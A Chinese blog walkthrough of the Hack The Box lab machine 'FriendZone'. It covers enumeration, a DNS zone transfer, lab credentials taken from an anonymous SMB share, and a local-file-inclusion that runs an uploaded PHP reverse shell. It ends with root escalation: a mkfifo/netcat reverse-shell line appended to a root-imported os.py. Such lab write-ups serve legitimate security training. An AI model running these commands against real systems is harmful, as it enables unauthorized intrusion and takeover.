HTB 学习笔记
【Hack The Box】Linux练习-- FriendZone
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 我看445/139
- https
- 我看dns
- 分析
- 借助smb上传协同lfi
- 提权
信息收集
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
137/tcp closed netbios-ns
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -48m13s, deviation: 1h09m16s, median: -8m14s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2019-02-11T23:47:26+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-11 16:47:26
|_ start_date: N/A
commonName=friendzone.red
得到了域名,那就先写进/etc/hosts
我看445/139
查看共享
smbmap -H 10.129.119.96
general
Development
查看空绑定
mbclient -N -L //10.129.19.96
files共享目录在/etc/files
挺有意思,但目前没啥用
不过这里绝对有问题,因为我从来没有遇到过smb可以暴露出共享目录的绝对路径的
对smb仔细扫描一下
nmap --script smb-enum-shares.nse -p445 10.10.10.123
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.129.119.96\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.129.119.96\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\10.129.119.96\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.129.119.96\general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.129.119.96\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 107.73 seconds
C:\etc\general
C:\etc\hole
C:\etc\Development
就这个files不一样
奇怪
smbclient -N //10.129.119.96/Development
啥都没有
下一个
进不去
下一个
smbclient -N //10.129.119.96/general
发现了账号密码
admin:WORKWORKHhallelujah@#
目前我们可以登陆的有ssh,ftp,smb
但是admin明显是网站后台的登陆。我们先把目光放在网站后台
https
还有个表情包
让我不要深入,我偏要深入
目录爆破结果如下
/admin (Status: 301)
/js (Status: 301)
Testing some functions !
I'am trying not to break things !
RHpNd3hxZ1NQQjE2Njg3NzA0MTR3RVQ4MXVRWllC
RHpNd3hxZ1NQQjE2Njg3NzA0MTR3RVQ4MXVRWllC
这个是啥呢,他还说他在测试一些函数
到这为止有点停滞,掌握了一个用户账号密码但是没地方用,看用户名像是网站后台
最终决定挖掘一下dns
我看dns
dig axfr friendzone.red @10.129.119.96
得到
uploads.friendzone.red
administrator1.friendzone.red
hr.friendzone.red
发现了一个上传点,但是上传了一个东西,没获得上传路径,搞到这里我突然想到,如果我可以在smb上传,因为他有路径,然后如果web存在lfi,我是不是就可以反弹shell了
那么接下来就特别注意url
写一个,是个登陆页面
这个用刚才获得的用户账号密码登陆
看看/dashboard.php
image_id=a.jpg&pagename=timestamp
这会不会是个lfi呢
我先尝试一下他给出的那个图片实例
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
这个域名有点东西
所以我会再次爆破一下域名
gobuster dir -k -u https://administrator1.friendzone.red -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
爆破出了这个php
timestamp.php
Final Access timestamp is 1668775526
得到了一个时间戳
我将再次尝试看看有啥
没啥区别
在这我就不会了
看了别的师傅的wp
我发现我需要对url进一步分析
分析
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
这是刚才的一开始的url
而我们也得到了
timestamp.php
这么一个php文件
所以猜想这个php文件是被调用的
include($_GET[“pagename”] . “.php”)
可能正是这种
我们进行验证,调用login.php
所以我们的尝试成功了
那么我们现在就要上传一个我们知道路径的后门文件
那就很简单了
借助smb上传协同lfi
smbclient //10.129.119.96/development -U ""
put 1.php
1.php是一个反弹shell
随便找一个就行
而后浏览器访问
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/1
提权
查找可读可写可执行文件
find / -perm 777 -type f 2>/dev/null
发现一个os.py,具有root权限
我试图直接写一个python反弹shell
可是我总是报错
于是我继续寻找
www-data@FriendZone:/var/www$ cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
ssh登陆他
ssh friend@10.10.10.123
我上传了pspy
并且发现了运行着一个计划任务
这个文件在
/opt/server_admin/
我看了一下这个源码
import os
他导入了os.py,这应该可以越过我们无法执行os.py的问题
但是我已经破坏了os.py所以我将重置一下机器
然后把这些添加到最下面,而后等一会我们就可以获得一个shell
注意是>>(追加),>是覆盖
echo "import os;os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 9999 >/tmp/f’)" >> os.py